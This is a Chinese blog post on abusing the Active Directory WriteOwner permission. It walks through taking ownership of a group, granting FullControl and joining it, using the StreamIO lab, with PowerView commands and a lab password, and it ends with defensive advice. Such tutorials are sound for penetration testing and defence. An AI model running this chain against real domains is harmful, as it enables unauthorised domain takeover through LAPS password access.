内网---> WriteOwner权限滥用

目录

WriteOwner:内网渗透中的关键ACL滥用权限

[🔑 WriteOwner 权限概述](#🔑 WriteOwner 权限概述)

[🛠️ WriteOwner 的底层原理](#🛠️ WriteOwner 的底层原理)

[⚔️ WriteOwner 的典型攻击利用流程](#⚔️ WriteOwner 的典型攻击利用流程)

[📚 典型案例:StreamIO 中的 WriteOwner 利用](#📚 典型案例:StreamIO 中的 WriteOwner 利用)

[🏆 内网渗透中的关键作用与防御思考](#🏆 内网渗透中的关键作用与防御思考)


WriteOwner:内网渗透中的关键ACL滥用权限

🔑 WriteOwner 权限概述

WriteOwner 是 Active Directory(AD)中一种扩展权限(Extended Right),它允许主体修改目标 AD 对象的 所有者(Owner) 属性。

在 AD 中,每个对象(用户、组、计算机、OU 等)都有一个 Owner,默认是对象的创建者。Owner 拥有特殊的隐式权限:无论 DACL(Discretionary Access Control List)如何配置,Owner 始终可以修改该对象的访问控制列表(ACL)

通俗来说:WriteOwner 就像给你一把"改房本"的钥匙------你不能直接进屋,但能把房本过户到自己名下,过户成功后,你就成了新房主,自然能改锁、加钥匙。

🛠️ WriteOwner 的底层原理

AD 对象的权限控制基于 NTFS/AD ACL 模型,主要包含两部分:

  1. Owner(所有者) Owner 拥有隐式权限:WriteDacl(修改 ACL)和 FullControl 的子集。 这意味着:即使 DACL 明确拒绝了某人,Owner 仍能修改 DACL 给自己权限。

  2. DACL(访问控制列表) 显式定义谁能做什么。WriteOwner 是 DACL 中的一个 ACE(Access Control Entry),GUID 为: BF9679C0-0DE6-11D0-A285-00AA003049E2

  3. 权限继承与传播 WriteOwner 可以继承(Inherited),常出现在组或 OU 上,导致大范围影响。

  4. 为什么危险? AD 设计时认为 Owner 是可信的(通常是管理员),因此 Owner 的权限是硬编码的,无法通过 DACL 剥夺。这就是 WriteOwner 滥用的根本原因。

⚔️ WriteOwner 的典型攻击利用流程

攻击者通常结合 PowerView 或原生 PowerShell 完成以下链条:

  1. 发现目标对象(如某个高权限组)授予了当前用户 WriteOwner 权限。

  2. 将该对象的所有者修改为自己(或自己控制的用户)。

  3. 作为新 Owner,修改对象的 DACL,授予自己 FullControl。

  4. 利用 FullControl 执行最终目标(如添加用户到高权限组)。

文本模式通讯流程图(攻击者 → AD 对象)

cpp 复制代码
攻击者 (控制用户 A)                  AD 对象 (例如 CORE STAFF 组)
      |                                       |
      | 1. 修改 Owner → A                    |
      |    Set-DomainObjectOwner              |
      |-------------------------------------->|
      |                                       |
      | 2. AD 返回成功(Owner 变为 A)        |
      |<--------------------------------------|
      |                                       |
      | 3. 以 Owner 身份修改 DACL             |
      |    Add-DomainObjectAcl (Rights All)   |
      |-------------------------------------->|
      |                                       |
      | 4. 获得 FullControl                   |
      |<--------------------------------------|
      |                                       |
      | 5. 执行最终滥用(如 Add Group Member)|
      |-------------------------------------->|
📚 典型案例:StreamIO 中的 WriteOwner 利用

在 StreamIO

  1. JDgodd 用户对 CORE STAFF 组拥有 WriteOwner 权限。

  2. CORE STAFF 组被授予了 LAPS 密码读取权限(ms-MCS-AdmPwd)。

  3. 攻击者控制 nikk37 → 提取 JDgodd 密码 → 以 JDgodd 身份:

    • 将 CORE STAFF 组 Owner 改为 JDgodd

    • 授予 JDgodd FullControl

    • 将 JDgodd 添加为 CORE STAFF 成员

  4. JDgodd 获得 LAPS 读取权限 → 读取域控本地 Administrator 密码 → 完全控制域。

实际命令示例(PowerView)

cpp 复制代码
# 存储 JDgodd 凭据
$SecPassword = ConvertTo-SecureString 'JDgodd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)
​
# 修改所有者为 JDgodd
Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Credential $Cred
​
# 授予 JDgodd 完整 ACL
Add-DomainObjectAcl -TargetIdentity 'CORE STAFF' -PrincipalIdentity JDgodd -Rights All -Credential $Cred
​
# 将 JDgodd 添加为组成员
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred
🏆 内网渗透中的关键作用与防御思考

WriteOwner 在现代域渗透中的地位:

  1. 高隐蔽性:不触发 Kerberoasting 或 Golden Ticket 等传统告警。

  2. 链式提权:常与 LAPS、GPO、组成员等结合,形成从普通域用户到域管的完整路径。

  3. 真实企业常见:运维误配(如将普通组授予 WriteOwner)导致大量存在。

  4. BloodHound 检测:在 BloodHound 中显示为 "WriteOwner" 边,是最常见的提权路径之一。

防御关键点

  • 严格审计 WriteOwner 权限分配。

  • 使用 Tiering 模型隔离管理员权限。

  • 启用 Advanced Audit Policy 监控 Owner 修改事件(Event ID 5136)。

掌握 WriteOwner 滥用,您在内网 ACL 攻击领域已达到高级水平。结合 RBCD、Shadow Credentials 等,您已具备完整现代域渗透能力!

相关推荐
starfire_hit2 小时前
JAVAWEB根据前台请求获取用户IP
java·服务器·网络
铁蛋AI编程实战2 小时前
MemoryLake 实战:构建超长对话 AI 助手的完整代码教程
人工智能·python·microsoft·机器学习
一个人旅程~2 小时前
Dell n4020双系统分区步骤和linux优化操作
linux·windows·电脑
love530love2 小时前
【高阶编译】Windows 环境下强制编译 Flash Attention:绕过 CUDA 版本不匹配高阶指南
人工智能·windows·python·flash_attn·flash-attn·flash-attention·定制编译
Java后端的Ai之路2 小时前
【Python 教程14】- 网络编程
网络·python·php
勾股导航2 小时前
Windows安装GPU环境
人工智能·windows·gnu
x***r1512 小时前
PhpStudy2018怎么用?完整安装与使用指南(新手必看)
windows
learning-striving2 小时前
kali连不上网解决方法
linux·开发语言·网络·php·kali
阿钱真强道2 小时前
12 JetLinks MQTT直连设备事件上报实战(继电器场景)
linux·服务器·网络·数据库·网络协议